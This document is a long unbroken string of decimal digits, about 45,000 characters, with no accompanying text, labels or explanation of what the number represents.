276812206675242187142086520631756447055117048431605853052444843137456961339142440762170970763167311037262389814288424136516943216849000330839549695754335743775998002742862047275601059052891275967093017197110536911506602314716602815526784659481931341782719772969433761223622845130002815056636921662979348011836997074171562521489271427991543635096238753541283563989633955655808215263905987720535297500237973594435221995669767336540563153689224647297914060869882906720881880609887435114777775686578695746542520871924456387890544298830673708026119682707508622745359735736037815556955608743584577009061411233880175009259005018735125537391723356554165475917067003491955820713896040688486180026284996481408286361616701562519657523285757566646755127705722350281711202151104134401499347814677185500357830668514891064422809415972761893498949893642411090405314696138273754141084918589987978811004519358971962312717159879684546867412637850101666238216417358927823266149447042183623882160130046922621533331454023552047235660944201549908432083988224963306655265427306273675150397990285438614257013845919614355776741200493622145176300376703652365435125293508476159023886796767951332398901739246410476666557470890301829966095855787768418325375188541515615196557359010691656382045362352527263399850917894507703499374497870218568129361638177078979065153747386384977189967212282181651943543831305709382626997932740412871449899660592841182498689416414430204043216970924402130599206790331699559136749291851346768592272111198311887331603114287808001941841484368293494104245376120706711217530226350240937031339528832388525924135367278203563623989314309762345913232254548270143457048582809524662337732267974632964750593165647067525106649229136678240808798807518810002831592235031366289829300580174769466220254298174989541661092600887795617222550654342122480317789314716794244711399303688790280373647173257393288187909996184516504538294843346052579991993540223400728678148752683849806656812628214393772016667467308391490314045129273890400009482477137230454779637399786789084037932448067959482847295377736044454195782829065874363895198323767092761954553036312448149386395042336859910222105678825189114505290748509268982312323850223080395947878981116468205013883213243002207235261245511649414357061938181342107785098245458276736455464830463674986815644217518989345452918562091246101776277765666685590734709967690187604175562158193942680717232255915021074963325865404413532176918492077452298074083392553646855841236162555406029859825695987894395366112474676848521916357658302984797188792640257438949562274631840745192179666546417980804154628473280435059443161542268193726076613592148285279874056901626514652531625600127820252365436159410555009553961470311976320362366402771050831787641362397428329685414506778310801425476872252297606494711587981748444996869998598779621873330497937510226582223203112143366118063500155902717910639349528771638946686722675979402378446867541916412252679154933716072366498375312176638845707571920851284335684896303280603592387061985752132009990679530920912942214664949894051556437152259682877449738957058018747773181223394497984159102343614618481928159937209693930627886054385009628802243503110336214941065486007091889791820641955693232361564276981183125763639406378786894122467509590082079909341576985612634980423973619040580649649986009348788997567574738284194094080370277514424881509419493521108391231283602474474239509280363836163834421405089830848046213614113965550295885896105563121422130225808810753089460441692153498943667953617713437780940478733315991265193179756091649704050985461717317410874487237133765556054300123743662944326226094209010704716038774423813119129087269039023542107923227207320233180848979473138803860209067675624639150774117273592032071437607098466990667330788381012329864290130516301160382595574774669575224076613677799914086140757202109500963071710079927618798678454110117920283385103087002812329111713654760245746733418712946437780314209674145502177350361073318129372137602391056245979022534316625961245967825175336726653116867274759843250849869466327636201899433978928719099311506802080463257663895601199658140394919921871569008872069913428984390971347560208584623032992743528009447792799671307147185328491693751205216872110192456822536120012663456413286218163995170831060260429188062183377306946241377275382526506276809409038047279946470265723794116236853377446656856533184093087162991390721691630828299780023729207097889436819994205393318251573998815274180313523380083652146612500735506732433809099698248275206766900681353801971181196632852532748729159807033534944885515280287886410872644572731349715544000273334437762612175925613461468960636760416728645482685640705845825276105972502963603765186040177102984685400956640547538427655067042002293563896355237804373559864723263903296537244404646548721545198918914995873606270509851506252012748588950484590449926222266357577285958665194421122111720635163824212936230368035166968076174143196335237866342205488881225810647733634191710266090709121109615088998995924181190244588457383456984483919021392807370853905868312704372132691941815810770861038315015836164357667900902221028607684440447592523328795913598785331600339593229656217556811014920345975667961935531569231851762036071890754063242247213491814271182033695705960649022505613737605687664232241375966092517965741062655408169170510859742881499643996771091146155628587184748097067331749093948400733719283833460354037054685785842595285429608946871576472477302858937439954100773687669851786839046479065960324828648031083329592466070879092152182868921278239416092150746281867794312864468871527730895213192964110928989927154022503177260032032803605164238994610294815893118734120461310180597355445849640859822595751641330233769401974956932574448678842422664870510585949690379289943259318404591718737758346971866695783009786922036444674831866462921822530797382104932015962481554130500520043480856760548466043354912487507837425978770401228373122995358327173638910376000602726445164346165539474853667503567523180705576770586252863624076384527304283703283929981571793248376167189422214387983151968071485428549043262948241701290536403947115941964043064056758306546065821703216513448245163247484267753109111427561857850777052378294283642417924730019779561073777406954636109486420129943357328062965986768478654748225440530018599381352879088035437779090034192805196592464554200380402027984092600116980286968253315299125428683615733154890457682928580440816103314304196979488609630949405411869297207272750889744097633941092596544772473052675227364551150237507334857254366380261232384420674006068474036991232092672420928410568475655996975327120052834805618604385978220380100908576137285936332387861054791402945031495633258751948320686158285707711554179617031398742611817530649711138885778564488425930793996509474964114164004262301556266536586648337009131266081802684594904972428220246785913334881947462774521959949031895869436034582257489464975700824494086649575150711123308180968150576890041307977558963564140929949939968120175501619046914041259142030870673201056604553628474451383282946560605646814684819449662472631594055806414954845934350354116618518685145613263551737186295081017019569808555990837297936757411667935967098464909751490224612567412870051246910803468874266320782298992830349787128241996607311338350039018144863805557012824188399812627913200835920136632848464812162139234880078011271660128983368414695867895528879386375570369160686556162703733907833316298833149614828551299128263567076017046846210993665475019735675582593909551435864620652922158045281903310275022432995558796783309076281910503742383145370903528903073230535503838765447157734717857949565855509074659344513804447213115885705202371129705655155256885671615785332048853878607193858358546786907783351782090173378426281306895133430206738145230726273598311840937926084292223961885182054619235332059357498604246889806267465484547720237202165293929885365541867893446303732479881875628341829554395779730955431195284232862178120780092750490347863965797383169099573610440951691796157845046808981143148229836472694778705997605670105748992012635903720372283216956861230529459767062515389510744473273385737145602750543052625283373220873388179212954770245594395265042200641713334124017324208427796170276913903752561536592868960528336513333689277930941707395533113600551160273982978476572989056236682632873190377005728076666077184146361694355283730562859590527091177384918694417425438024434298287437706298825375908807108311235225748138256859136284717028531439244264281622905917255902504400776858313293307748148044617642572584466632338642096583097344819974665084077716692133204511977143494305814219327800589247215254594591084185615898260286805218381402458539731647321003115364589551358034821098580741753684282890732499122628251444800668747188262747440901878134715515134582823526181836633969588908074351710604120468683277232237635849778867592519825516701677677656728465563401072082471716679323172970310426304159682397426776882417908931217683337926622889770030988309615728490530799032867675187983575683398653240852488262276523354277937235833236502260581120687838116208003362838041071192837658453231464124431981002405001599598497832455469096939446811586191554894980885680468502619158099638522716504525334592431236217103626869579181177889925633476437947927513296588177194093090974187601705928625961435291737818767223803902536896136276517513896963817886991041975639795506086993619005858880985563702460188393299157355055147308375283270981584466885839859474457387050891186345246400964270362304206906127582993305492605838976184290945566102439462993639227074084111575538894137909311379960453309519996158038334872573526058059744437503301304424038750768141971242685609001415906127428381085369437995986310874151418463192171694547648005609866513799328477526922355008642591990137286587363210449294014846389439587040978443142612245043551688666022776519453188570737016659561435113666957581575409644728770091124189933949700716221002441624560954567885649238148587587440004145789130589908533856553481155681033030208348526016884074687702916446137540590498324926865969972316479155732910262628546735243146347883635674765531835100764097177611686943341220096854079376235865033657421204274751539909502145561627666563733764586418171910720046112330812977162465964310058195137958305424518078012692600004536920604011004596688654133480596810391648187855789156969249033962249466644497925454556355653474329449675502643426633376766336972049740109303016942088715407835314016829895211106444024007912457455860694414635044086133420478282157007890241539770030044784452084878743876432520012390806837860011415031466176322630406289151671569590586306881013821164846933849267435125143826726516398612847632270380500913290159249690472056254084583910040042577506868809938463477415928762719315129862173993609933713257605354128520536649025209845793733751034792102153035489464546729193942949618355660452404828686252912802098735871043107280169331200972727265777668010059844682402979285314959383041484186514558251726930899300444553551791452273504776051552247524596548496069969133060284963237614399610995280294461799528826543908972802507419606164671997795879912930213595247353512894840694343369712385496048444516059413839760806594750032011260375652926484860278281310221196390771756444680701035389361556637526216778196582127550898298894028275127892708919283370058487733448542310920631070562255521192683660489009628718760086412214889283819807816353230605510681400041632996692812866183585749895864300178885756962647399025566785700108874158418606019310665907977344646275043962656511141789790611525914668266884962533297431353961640624948369436353042589868292821284869762016536283255630107134607050702211254900479641211048844165078542437684293581790828358658553653414578317300419184860058418998057879010114109104747163943212803751716883565083863090425364498168120084445734758306454991201806571944301113457819392488204454421205897091723520947308704956163283241206816541443496930113119893305093289761243144013815091610029018418874766516673778201607293416799114622605948829002166980834969617213102590330490941498420454777180179057427228808398707848978176481401117561944787117521619495593786788761985830187632746782367878392074191269813744053684157468715843818736492468808886896171414604139534405270531838872239782581183816930556941589542126385870035274925896849999033421397614583838283672285031251067528999452029953845152766656414003748595395685888543808326205382324132274231446637251172411315506273811109017660706473622255456925208724228101790383715844365889885793591753973210696308562154496564450338549803029882669255913832050111704531891931958635372460432484404092879992130004027339109928842661770632715781889231433148729782181383131891373900778619906634676774548450377415600826438250870430211574405719472641197640462690713152709134920409615090938515669157839767709721861779207796781393994611656570038768989381802048380906605113547899726063237872217982689428112143257044008250155575379498973086214972415370889888585561126692913412688080998709180464947281431148092101767602528438238384020316897593214347857591353853117273455494894291251823547933284863333935871437292753999809593679689047894496220093191713205322102429850787065596723554436368811614411174903456814211047775492911037247861966342286411060790961929786828804456850864002651233843987534180434599622344089008768746331479880699849790711494668579406181226741235401701671439522178118813762752882360430027581453501368015409449924457809518344469391349519028485154492724505770684916064715862521301814176434266866925081510762630077575924509080936828581657369860735946801556616522472717558915047343535549405903712007292756738032801351222925617113949020973669784166254860233977847546155833403948490656466085330280883490276373044163675884034446187220786648170541737324232922334311514841931194182617168264107644205867756304104440083895181161143008520562106704411622733998644414999480522056245072834965938595816461566544404179761402117680112634497872288569908662942259711982673810534452547023526795322967386375335883887161960114534433279008142745109581862475788622136476595014888843696506549619300735118258672011039390515826729242010544876697690187197559139069071441551430423583557232065765553559532204341220636417153715757382793361433665230581928493496446598118796358129192391636829434036120764755679359693940940709699174459334579281444189978032359712145240942493476417083085115927581128453255114426785528524474934280481525751420385529798040940557831922333391611368442160484257728481267523603348049178278213259224690676911460146315782342853763862058839791814391550943177846965212748517565295069123653873346093847031526539475887921184546319165752140946125693996193985399247280956494702562321622573815442318814682859491320220659043334063611039489687996886299382379908936241440634519806610438272181782140704978368376359728049375465552506111997900756955342565462856756958914434576686121747292344243027263544524920617024478917106219005076094680570763998014776883627444082326361529809887989338327781394194736722371815968157052865989374026373555717152678235944723954925159817924197693563659095031850480250379102717286163594669345843590689663963519025985308858796130918827246958494592598259996369568863414192156065548020251937805267720481296857861765743157170658937781713280136946697408542341192198645196890948460544994311826534456746938107134723303111098040631925616901401388798397361111051973192418104288845203274856270221501620481908193318830653666430795669250014820348070319047541282045945195646725109591370999290577191169870482334453593049835730095935094342684069299948963779270063860521451215088359010938497264217943637002217995764891476898128571140718567552642136450373239288455910861317208113963592759280839705064199403060543503840869824616919993953956118598231678064140032534010153070824181652942085063361066951149576369184387736490717707358686544684003273063189806053691145010257358982989447338564731858774102118337812398683471347782072305789924144343301830070299293690729276275755752699668301599457750950742701473849492213210033887584938840204356987114749112510725048825598058447040933706329309679729400527198895704330519513677930633385703513223484419821700542277472230840461357351928211307632007698876904451037876110845056280908521735501348087961309271549145606646100763234999576729557301079400655140107308640852207776518392098822152012007120349513941373185900012571586041544893281815396800889232339120558459136009528773998940056561165457695497975488774021900419981837331946765853007151003470961058494941698119063994512525445115249933150698906204394996708320066142668376179720995182225408532570357232640778229003974089438717997688941690523480417326603139645251676894699531690506442656610915759438733016497158993354717236037658624310744899762032235869225128446892963618436137744886234650182341246751587406605831273711790342800676063116366070046553136123362457723816912980197601813687643105819948118493261160842769542810028664596762904630095172257841775863362461361913873311881716108296025456942986343371033591586908046031312094899188797922294003054491970739410660852290339475196435189557509955611466096012065556363384523839759831519734392958211211845931753049022899132353123442203195488235955560315438678025106634734826501331519508985655429753301580773479175237423075519720936394835190349321759047956634714198990921521551023213304245707410913424289712328239199040393779725940559288221336863265039905737336109605033104294172129593453760751074504975431768280742626124188929406360229634369699626913924919556786244415125272292468244074686404690634639949711668195703288077402434594463896558788271350209325414371775821759037419858365284625936328308356441591086388736240871876925609513253824859311086834016053000173251440291367027019195544145001471005921265132676907643645553769405459776255681967685417086458947570118098089705585043382018733064172826642114185230450860959861422639085463307216445806128676303548602220685495791475411384936734909650038983691039049403477000140107966710646685830356931350588709869487252576857906862640052093628804059104335863273349784264732878401122750736247285494374995207663130943541337024795170986391825611650675792099891296656005361508173437215969438949663492934073274140764003698412099458302835308416708112198360885855607670416473303320905754717884124205395714948462980871369928837181084222468155452346203015528135001764486251996071008691760644278147276962884863079940735754725657587388353144533873128325846138532420653093344556887233611514587152494156121019261336038931434117850410942796600011112845661451304276927924612894808390992291839085577749674483351935783247757139809304131765818445784271796320170270209732908102629362705770390957636437098428457653579522366205443726569774126125976197969723738442916982692144136123414925033183073285038976273976532365840973607924420000913428301229569365770928385783445456326480262081969164905139488796066131057493505408070432982934517433756375650110011152754743296864461382332362559902843313203698618564015314775773477109813208182431283518110321417831628365796045389112821731273763104308457258111212321917827277698899435156428564543423093025864411334232753422514266383826849126530644154015610677035019800776982189622037255648235074071465397306209302099577268203984681218674298754604398288624836018958169650755160465485177499323821234604081742578872818087433301557508909707245939856958102043910402960869488465667665938853076979021427835449748804226547672184844997169216589533237810492388153961166176972075612465995660570937135863399985390346418567893223998883642274059971833231049907530813341544208291051567450396915192775831296811663969780531117856321668439358447136590574487543346489667602032281541285983062896198520607503534049836931341784533839796455608787361650576572044686045565274046860962807392208249364002322439068406744707335914591391416919338103171187421479819547252768981173255041701364326457592399439501152579834539089936851270939934268563629386314311228434936788672834173317590684082954418142220458766100801711556378898593235569114888173514257590424361508556542776952889909701217577225033982065167795851668978856884090047308458971128144504759287292707729794448929375220689198905765275947999150138179875925077987634794437459585238985086387103846218277814377681358391717671359963719391660711227742741132020184196419990488663197194271205718605346028931493838370507858880420925219640478822503808267367589693662684832082196132806571177089820904627106833182816394687990543719040430228366132543164570726484176243866722013853769802565350498312782434644732569827532985568803811622678864960475794282061449901007205626228501829527099087973837970194143950250463024218688905934381905276224787433298393061791841341441567763503669658146491048249744906165989526613663456032914894630573629430416420338705276994963187151578618162486356519999548969551043001747188431575269559591528736231812792216085469759235781599391591583909395510315475174706761351235639594703762618072828258129069071682480351817119860694274793712286889701213100182916840684626399394104967997501236429528696543805368640593134755666309435470180982867129718488581355584993640624058907316377348108897904357982120689671536684632963475298586117231531609692318715857160307651245402934874309798203284704225774076601311602998353057658072309227550360395915379836459581133319910419011657105007954988452537766025326850122034583542822083994748979764963735512025588547077791360453837434137711787933800028015691700967579930041240015689342999518678076878031043962453881426248163393944850192536910795051657959978392139780956597747149658372121137964222350965399862018349046950312914966147868024845995203492389967843039479850859777281335144307262259372292342636698771679512755693409435931670865657785865689872357375298542984734610218350113705574505370981950668986126524253740471528307590755220434399826182965901782588203403443393356528538104596673551727535749199448833808631150972985898837130617763409418455662059150024969017980684359748702083177916452585489253230137104536722741397619430921084277794431696054442865205986293521087117891402450377408232901596706431965082913623309404751376618163910419891497643076148188996304234687660086026127875151790281565878912244580590062123080889013906991983967349414531549392147227959888224209869577130940264442382558753446101682290393684980641206157688142177516465169808805262833165038757815990587936463131618940543338507998874691365146652084412947961826893113946200017922417109832776422528875877191772551819578172187843407003218322027715633275439379480271075553928003826457102039374893799922643309851202922557211196321436885474136291008753349136184773954134301416722750909055561459354870513445667230526417538249654352025792464887825604117038087124708495348187994962005186930505656095847487145484949957239857824306958985113334189421820261245456989297489438693823456630664385117406313315954873440433342943452655769005090611174872019599318685371097454392476162557944572676387503220045116835179550342826726492830991398534286897463566119750603729437527163929764620387763330801287112803246621376643329444726006058670089941238125358537165747607112849217830836775578948456687328888795360235528179498935271389792757399011864226519129330607181331861922194622191649293810141559310307866296011957677113903210380820172376540840588475253105893487639115432340352037795029972686674188923134467230335320650480699271011234598702598470708913670234044845109084458742403529854055210997796636093673401841906404146187751432276767822862102485942932784593814670174374996071796912697012804581504610885464262802778823621798729185714069636618443602949663867644640114780828781881856523283522933458770717382196305531151695338736012599928694571220632997005008319182336315272238567758327660091470934492821042659221375814847745514076533365799766050780660475065576967849181432818723014656469623031336325632476640508907279429488731135500699827494610260606460693711939124175925527000973908891374518859811693808392867656984018419146348210192957063283539854034268718574515022011385369328157281654201162659347948106167273815467034366456855394162303325655091688868057172463793334691770564407399608244586188140355134820008955074168684853365486984422621706550643808842551792724085513822177288569237330891506927411567383154633945522696914114026058806734716485489704531420795849310211205750729903084028023203822951559541723140897367980783708429749546842139924719665324417196448454018034664116584242029873783483173828571101938049230166833658841232816266440139300340637735180699796998936593093715531297900902617475851243345293125761622209753582857340577291997812724762851123444844502648018972779854817798258404669332850064207771372193835249567462537529138555904901520572398061663121722389643914601157758138347686890421715909069819943929567440385619480706334247367984369608152227721677011397086691032200158629106076490819505885470473568161645214189094589681463022235185770105334871411595650428475140904829147377209894099680184003072227679331221017077331254139049801243731119638971199200147890900008426576670289337245841902528142364177468294821675320946339752320015459310762485000846000449549715657325314550371978428613311776277026374106550696042407389460393792522786112491917482898601476360932619440809289264324451977298292192204111212886637723038421010866342085032719127722319039350016724727850830622783254045809693378655228094180324830762134786429556001345328452648444951540180921427926011989969679850365591946179735814489129814590718418515055660092624813771023162296438535394857719120531313710787822840830393399060574288356694412058514556727855578555666020159177700346287972989589144308697143467317293185241176760651001128911962007561216589434872220517485823545595268681862628018171511658189619550761553948778292006531595630304826502129788913180679492254436351556312415785253595146668792716078329980494765256968796261302152642585540403034085296351020178585086399436467616342158560298237010961580770773632440718673233711470716529219824187786493744532052115814572138990236193874620270713688474643889977635441539520821299390730162682316221228612285118695486694822868887321781649162558348238583654445145773015081527177092651424309274427850547479615108198605972277558032918319452116980409380119534736979246331810607736496390510713930083476217063979668069407088451617974239865737116369116169753090082979115392889961168076842712655615725566200898362908892206081711394897342066802960604121947209592649472306818594473697857550313330078988678633281768447469324583180369402159512595140832119176376566162115263790840480943614521326148847775206321534489942202568183367601794570789854746627124994271912722809031438554085210115235867558634349106584261139972940216554021951478186593616712909096595024945915368210415706750449417369969785471598472097652449794667646627637864138638177359319914489076330636210176396405548174564215749549266245138835550989340811164422407781075869799480397485696464537597763534122817712211278115634717745613121357089037115759896441378442690843967442745220147117870856457632836010364865614943472857275933064034776812804137382677157411436953093625182636189868017576574994073487642283678416987746070290015596318328241189842997127865215220949276474734130470254983599328640372386090100548794988558654234218590283955855205061090109255057058672955234549836592958881196568013794168066048486356755461067158487517724133583594939561664652737440484839455589510524204026463420792535226719891539956180726504432598397703070674423923570090427950576337430130029661749653837224071400850425614533691471284701395730846423384356014414228082333016280462852931727839684101111728508463927898532848687903941595887439827459388407202597698742693634951594801712424629340306739011160652158641401867075122121718023179311534809125995765379095845182855178802734868678101740706812824198283854935581283003875551342379289933544359980095202923862210975216349451228638863341565572276915604176689890108290383936199914552410661707292136585627159035838074759663139306807132786576914391974730152310296998399728370587569213708537536891277332540247728676110082375145989647804573424819270621915436815491292022981670861633913913482033333684426320168082254329523957681417690106449723121474630749798390237665672671189687364000799741282470417351278153429564127010110784162686120068679598321170514284722570285087496385441966633959036861976501669450675894118961818945845733689205868735826721236973766331939175420644317540393944454484417528553608746331830426598767165795260917742181522456129028610506484802468330496986760546808162966187104335182982239291290268401641221633740422371241624889986383324817085359215630216101572038599250045233126262663093452540173073080686293382847022999889061831903164787681262861273771488935552492808769167253447590984346343134998168385010641559918736815873714114837223242155569615617288130512452995759517856643827737336892110102452589616099521361482586500045183723191873105171572726072383868995931146204727385319686936773535044070595122075301673987490200226859103386232154877310613307344959057690409951444869525567657002937566921692072788269490528982489589170192649725149774088985992501162512234415576589476539376929011595834493757262521650874620914387690999971089728325472896488814391008473001775556097286834116786247395675337143093922692391679288224695504478137465703236357349593100697350855966151535727836125691099742739031438433896123144833107768897452778169126071593129349103933426866140213771898292918782654494439475702022123984573124674678334609360486496388727956984827296358369015519499953186930030511434287822557416778241249695879523062643489204910365012447530976768693063210990970758933975117954020394858699119141331103967842551223720364926097586283238495132186031123921861679434705992703522928715965550098940224492667033914661007541174699301197803405607506962778293763471799504604904924640520395172474066649737418906562830228600763540688608165824295036106766298585965738593500090695248546051117278465261710270722004838895962815688389899720624058568633456220295859509941841045052559438293456556775736839593353316443318117745036035742651838782072439025903855987348856127146412210911321169016434509361287576596906182567433049689820905046585014731674113821223841191954243941445061855933922603981539811802035972637311415678278928056781458159866904671545162946296369182192393825573032907310534180740731174938199192123669207283150000977030326441724679815043205575349263963179829873117963838192844108559592870559138871587453084222624393678968220745925818775851947558927663078164194250947774934324316752972164016968468706577613325545663689377512212867424350939693222242430066539518965116908370062978062879670178464923684407161043136433956825782261709256588253056135508367267041209302697715400269818385451756005966830090564985759661183703466314445793850198668279716483900874894769868371056814448326652878467565801434945019436805353188297260701683104650987259928233424760018481456272485358525971482465720935214653376405788550260135919712684607053769406456805065397026012539197233209895331136710990513570496692235537297345242367361724001494140732689286819769278721819296648217512494098974257085221016708129780041103704059526208426102717048825520920324937538441394007771217055944392475485797391762753681787224606762343048055431436357755204582693106127548936614389175726141450116980179006724144499693088638945608295534286915340875715611356110655849205313183163251664156197595335277628282873425421636334058623936325109733774112354287345829948916486249888023786591238689639197550887738437059542110548192730839694394329268682018161089905886535098031049697901841001720575613614390617152341966269542918492712983739079842529886382796314182172140181291994837600662400394818554775974689136888698824713187888190280480959873931465694452732110004165599375620501799682117866272246893691553242831325813472745429012712143520784857668653807846829907998646259316833068321233040827823369536947842500346110043272313794663520463658647709871858629963268678705500261802523115388696406540157008465416088782799964308965801163956685458720896717754981979215058602610519157148599198750757847224425170966323313165369143282339296284390101953620224760851396926578392353582936917714955722715610350605064188693356892912028725915103053110217400328411360803910113359065168619719869280821502752433234195867126825352274235283845390048502945537265765674091689771278527851244141401024235616637438266699260177656214952257039392890339940942312249304514593579772857742230296633394931028921787887302140821904076724250967231443973384730104231120768541854179168326267055352884853654618411471252769051087196261436079621174518805606434170869402451779940365179084721295529238365230305477240524619703481011868102937318114288575281433682064558400845177107406988601376747830516244249031608630432010203676765388052037264541243129775223154594321517333863598169432459945509753078482253442008208538699393836735671118273567616858255124828016323245499512545765343748751033689461834611043648539073092464927437704896992200329630788319943165580685767603192398663293890578335506429405564754113018101306776662945440844872727779487009390779378416562619125646144378577483524247582585703411451684676664531931855568969738669879476370737391254538366644292256066223797645961677781816293776649648973886111752618708269777335153690158802822357727025109886361375703840436725062706690176661289036767118931971255441311582243587819318180816784810985970279623733564797526298978473576400823811803198233460433868714440207627522651205714526601245452067925843840726730855324989674991495392364726628826295646865998726336119591170175646331781415323259620910897832597955413497077063146464748504160926961153626650082972312003576534921110040084679591624650531725526600268521654435487410682975255439205979408455557172649222851137184645509805102719117605839508688686726788967626889934317115954256383595416760177296564817026338012226096002821242178012035754098584837437294001056297871983853415235566726073407455471861422020856782197896847081395072232545191350493128955837861675063543504437915843897421518177987995312352896708313945268078997542842826819602169487359273319053710478841163135236280057341704563245349508911122209729187789669567416396375913461565535032150270282091595967023626281747487173497960012614674848574617347482098550542257238846592941499171136106746000466655752918216504608987256060709960363168904045645429346168339903066465674735299946365099243322382764468431358899114848951251792296344235084645115439437036728700338034608674567284754482681862799475389754586609482572373694563465088770098256744459554800924720092596048005094991902169233620591913370509101042981377724662498141331019730283452605070067149540294414513649670454857303361998419890867501461461515626596101054307876938295480906864022709684418229664566813323005970567929889687755389839285130687502010311706312276670874282634167801261390515923909353885846943332364410605778351463024239956489752030385065117672954263091877775521317413791622046577065544223868646010797699922234081647580760344081851082202957434746141831027413994102999501190468475371417618674429868351555740044139335920675524019860494743431480548472417315651469304642419389351317316661090207548860091790322644605258599825941188044471557786671359863869866369072236011828467231898572538990614664223889892106969000588958507641642478468992577470965379325587215368873043229211585989644701338132560247329989118208364375936018733808048555156147677435732059105602685872036541190279834851972043266595978954849924488860769987366191096256659939362729476499119708397879390859181390816017343839771795326419171472687498025736790624619451705313500220584940648014117343445787860446228901336677496399410809493477114264140197732660861302584904576100006993030756378011783669039125329326347698524339565632109828153300826627628444928273712204482318184110838358584940207302783552544111049626596357296365747588659138926449988998540816075593968862326753002976271111894393175586342322590772375517283660538178931599459693058615225296781525357899814080325650961978761486287148238376546166869923525036003634500226794015444879300302915470880677576334857065361391888087523451208835412513376622117195699310998380239559206387259908477404122916411308859217471094008120810798818948331140263246517681960148383089683181091658505084772198794465818538773024750700172235194885248448633096567187583825609111005191282228669933472048105779258310470577856474869122352106276071742132104194007726662784035609696494998409651625720900722229207235174510166162561768086162359838347440758649823968830651945752947113304262338918636008668717868419591452653101998603091373757777831714163665945355810371945291218928522040624158193389927714873984610945932823629605929695753549368917336996616960269105520746451164921346119226886264029544808412860858115265547914323983556229528215878191181477162441767090229293022650996116607629134229535454750668542278416210579928405289389249684493161409864490725890013774928712586144333056154836967971837544592645934283893958029612335099545503446774259638808511476639691547609944002984199775949939150494584391556862159749680263861331643861698512425942085156885015611868968638126202779103733523401626250522501220718280841932888314566812195814399214261882073234041050463960182489279030797588650824449818107182542100636875221698514470074430787232512221502610302877948701697899734983217157227013569297428457358901230810464180375522187999105913553473940855873803444425650946969549618278796732803400350584706310548965078057542291465351120797466615523436907658699870945979690251286443340609035759141704741726740643145254965404445243538107413161677792451909802070826607259564213589294639092970416092447014497158598219246247351095375281094018368049313535682691024442960023139598541166036611084740650979372106709296923496379171543148556083023225106007416219973457979580102071531789684549624584279870595859286885230497282157100630993616093642442141217397358473222775217650670376995919137126341629602719186554876149688549512541551138046015059296347853479309483923407779736401652578060245193175634004751897152228946761103990151730053635387977012948702485936019208471532454191681136368220553244433703219462254604951640715435254945881833193013525473025503044274424923753258496596226543593031524204907853743369184373481628478812693955146795918807448453067630741209710597326156799365278584867074129782451384456181897208108141264081695469249213828557472980102808161426233905150412652970475854099528632803370800984034266517759192084275014429114960371829665361852895057074778881458972868465470352622801254101245634463458141923930032099873568120761890954476666489220674791634414660718098532023899680289080816754100337245832579281528539800993477867122085602407186695796448514404528062720256521036271690776385439640283748910284570191918922334523237980959178896941131665481578234418760274476470760499786274924317849591835056006512873089073221084592919342517665599139805819205183356267676967480524224973073843005173837532366470844049773475706399277773405279246224420272654234470106795262160574982095790974035475044930951325807636600068784103104403069016717329139134213306262423893641666742955401590725641642246677303694234832991812147273824978025528480455748765623092761543367133176095204626533365653477824271979286300553053688924070382580842959555922342250381485666962551019529635923606630693301306780827866210617636776645528248238967135723690257994581692008139196741746691695231570194681364660435245826034843685720807082178284482021645364080022693456682036592256267846509210420806566925221536117647171507164944247482548595559339450656656716161043105871636311051059212799561102263701814854107525752868855830393950188537796624898109615606862614086518064151215075204354151741914282560246352806423057703957567607536897780683414743623899557651365372294432142918096794289490706240512270168725104824821657669456038640463372706520852815993343731210812620220408450671914703794903695383154574789047467771723273692577471948253191927135153618783678506747541387492316933740737719218585567753025947114023051017876138374511828640858729385667891580791862337347549621536228629818237917528505647391573094072180527858701871814516752757168251581079387211203350257641060538070420111571136287114503968018810702857785433104919132527045291729872277738432407960038357958613169032364746437444502500675399790117014248486626291166997414402046443052019385389927781903510887333674875108860476497372931685691482593276022499646215820286435709324857889784078493035353499531051392098987585934480966368387316903218213314620029891127887257028419231813056632322184047913365768629712029910261017647789673916550723771504392207654286306105348763729824225830826193733704601504174250598978244955322150085344572832776223112736658811638687482650704046381735448653747123120224865221386508392694970547090765598585182957228727506859720063472520708833550322119465333118771904107177414063343542323297370128825745824383818997809374336088378090721361157223687992665791864352749754674458219892006597601528217462900090797186105364679664681227824513031025037571171406390231391096211124047680328917528570700829208780984281890798568841073884011810984897024697653891641513920994778023190660472678765144481707894479230874714709353496938037932643380271824858912644179957615891161696775214553641250100688397244903194398662294075817343312174533535984018533655698990477393321170943940595642951166578440767752186046250618467591410879569985584999409993933910384635392601313434443190306594563935772133536917965834984547709618299118028342538069238685471414611647844721681560495617847023768922697466345524832957086699157356561445639574548002653788796087791593178885296682941615584979995831700549981673822438624033630753758445944652347022677002276307723139438003288821422496966418134470423730958597693057663078925078618931664939055165081053948244049460140770417945396920902146886533597605693041129589736585909786300939641020665269451245298536559173310056024691942264198237444602698689898171822131708994122767109527755400617776435832731967635792631768913089001218810971823399091786000984306395343841127402455097284459044138496952488409878189465135452558345955663991613380307396578524577800566680821779110779240130952940628593229676254189451271158401325374710818937092584890164103237774856854806611307034662122156211649734630796814638063967842968787054364640296584493592602211698612840210366842327902784360666053221743904822604177562699141721421846250673264526134576774338986058880289266707179012781562123029100955882387915244386137523086881092403010764871660880521997197107134679439629410330066764979018810063352413303922726962608214314627422173694029103774053384192704201589644154936054637626909201839298243726157304685593460919080529353045734926130345864722807400911784874090673808749315926322274931700068564816614505788218054747203095592318078517181902972097667046779493697339016030302333668418266434211042215228117610675447411956216022592753550941841099136205731482065627278251441725754213650640450103609174505205049913238102288734514162770883885021573705485558721260346219084083443701750139601853725976820117357197561773720406553370438741329453796225758457554380826566978485358149950360557522580778102773745552164719524134201350696283262625100312708301197638260718600599581523670335492460398654045050124273088803585653739957165231352353479340714937588056897748366865806109121955343722623431769391924438003330053247178120430953981984575581340807147877667676717416542810818400604124681154498176882019730394473898425098066743462119024430253823066190244250180630408959336995562215412597715762333458456380822047253719179077617179338142656010882597358468450882833077234823126669230396771923392292016456102691201646127195713173003530846827576036069231239883209498915092958601279737912769142367623012007438893257304057987129478522665121918678716801472177866744868525785681157754436416510157411993651975587979906586491719198477197036406369769714627919202703499778543711192308634160043099365195739637415394450006869888937664893817386508631252149500184585996016998715294509133306645050256353218390084353948291979838044023337866839591979889380205195048127410856646166836499146871815863407732101455920603720084774815048054264506671979840454499024694753960553578756501848221824325341465689093113111230914218329142006217174585612426065869028715619521135118557837849834529134284805567813514947315159982027791674214246280195037286975299147460107304091879912005101286414312188945499611050395328842920518560778535998931056532567940638087269264452329413381458327690059059523258427969542443318925216665376962547406309789876125776041145391759688806634728361198294476534297139838282629488037324904292950097817007979749422049996496441714624098519487780173927587564367078411434295764234393198926775029630230385063589706779269452334946705061726669744151460593959019872408513435477295062065889126454154347417385502341212281712758183604217065703267870583169560566611275087497677418816083735368598668295838634